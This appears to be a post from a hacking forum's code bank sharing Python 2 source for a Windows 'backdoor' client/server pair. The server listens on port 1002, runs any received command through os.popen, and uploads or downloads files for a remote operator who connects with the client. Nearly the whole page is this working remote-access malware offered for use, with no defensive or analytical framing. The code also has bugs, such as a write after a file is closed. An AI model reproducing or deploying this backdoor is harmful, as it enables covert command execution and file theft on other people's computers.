Welcome to HBH! If you had an account on hellboundhacker.org you will need to reset your password using the Lost Password system before you will be able to login.
windows backdoor Client/Server - Python Code Bank
windows backdoor Client/Server
Client/Server backdoor pair for windows. file transfer is supported, but really large files won't work.
#Backdoor Client
#Version: 0.2.0
#
#when give is invoked it will copy the targets byte data
# it creats a new file named after the target; if you use
# give on a file you already have it will append to it doubling the size
# tests show no effect on this appending double.
#######
import os, socket
def ishere(f):
x = 0
for i in os.listdir(os.getcwd()):
if i == f:
x += 1
return x
def take(fle):
if fle[:13] == '=-=-start-=-=' or fle[-11:] == '=-=-fin-=-=':
return True
else: return False
def give(file):
try:
f = open(file,'rb')
f = f.read()
x = '=-=-start-=-='+f+'=-=-fin-=-='
return x
except IOError:
return "No such file"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((raw_input("I.P.:: "),1002)) #Change localhost to your servers IP
print"""
[-]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-[-]
l l
= =
l .@@@@@@@@@@. @@@@@@@@@ .@@@@@@@. @@@ @@@ @@@@@@@. l
= @@@@@@@@@@@@@@@@ @@@@@@@@@ @@@@@@@@@ @@@ @@@ @@ @@ =
l !! @@@@ !! @!! @@ ! @@! @@@ @! @ l
= ! @!@! ! @@! @! !@! @!@ @@@@@@@. =
l !@!! !!@@@!@ !! @!@!@!@! @@@@@@@@ l
= !!!! !@!!:@@ @! !!!@!!!! !: @@ =
l !@:! :!! !: !!: !!! !@ :! l
= !:!: @!: !! ! :!: !:! :: :!: @@ =
l :!:! ::! ::!:!:::!: :!! !: ::@:!! @@ l
= ::!: !::!!!::l :!::!::!: ::! : !!:: =
l :: ::: !: :: :: l
= : : ! ! ! =
l l
= =
[-]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-[-]
Type commands to view functions.
syntax: Tech B>>commands
"""
while 1:
cmnd = raw_input("Tech B>>")
if cmnd == "commands":
print """
chdri
Changes working drive.
syntax: Tech B>>chdri D:
--------------------------------------------------------------------------------
=-=-take-=-=
copies the selected file to the directory
that contains the client program
syntax:
Tech B>>=-=-take-=-=file_to_copy.exe
this function is not limited to the extention due to copying of the byte code
--------------------------------------------------------------------------------
=-=-give-=-=
copies the specifid file to the server side current directory
The server will ask what file.
syntax:
Tech B>>=-=-give-=-=
What file to give me? file.exe
"""
elif cmnd == '':
print "Enter a command..."
continue
s.send(cmnd)
data = s.recv(10000000)
if data == "What file to give me?":
print data
fi = raw_input("File: ")
if ishere(fi) != 0:
s.send(fi)
chk = s.recv(1000000)
if chk == 'ready %s' % fi:
print 'ready %s' % fi
mf = give(fi)
s.send(mf)
print 'done'
s.send('done')
else:
print "No such file..."
s.send("sorry")
elif take(data) == True:
data = data[13:]
while 1:
try:
if data[-11:] != '=-=-fin-=-=':
nfile = open(cmnd[12:],"ab")
nfile.write(data)
data = s.recv(10000000)
else:
nfile.write(data[:-11])
nfile.close()
except ValueError: break
else: print data
#Backdoor Server
#Version 0.4.1
#######
import socket, os
import os.path
def cd(st):
try:
st.index("cd ")
return True
except ValueError: return False
def fil(cmnd):
try:
cmnd.index('=-=-take-=-=')
return True
except ValueError: return False
def take(file):
file = file[12:]
try:
f = open(file,'rb')
f = f.read()
x = '=-=-start-=-='+f+'=-=-fin-=-='
return x
except IOError:
return "No such file"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1)
s.bind(('',1002))
while 1:
try:
s.listen(5)
conn, addr = s.accept()
while 1:
data = conn.recv(1000000)
if data == "cd..":
x = os.path.split(os.getcwd())
os.chdir(x[0])
conn.send(x[0])
#doesn't work with full paths ie "cd C:\Windows\Config\Sytem32\"
elif cd(data) == True:
try:
os.chdir(os.getcwd()+"\\%s" % data[3:])
conn.send(os.getcwd())
except WindowsError: conn.send("No Such dir..")
elif fil(data) == True:
fle = take(data)
conn.send(fle)
elif data == "=-=-give-=-=":
conn.send("What file to give me?")
fn = conn.recv(1000000)
if fn == "sorry":
continue
nFile = open(fn,"ab")
conn.send('ready %s' % fn)
buff = conn.recv(1000000)
nFile.write(buff[13:])
while buff:
try:
buff = conn.recv(1000000)
if buff == 'done':
nFile.close()
nFile.write(buff)
except ValueError: break
else:
c = os.popen(data)
c = c.read()
if c == '':
conn.send("Not Readble")
conn.send(c)
except socket.error:
pass
Comments
Sorry but there are no comments to display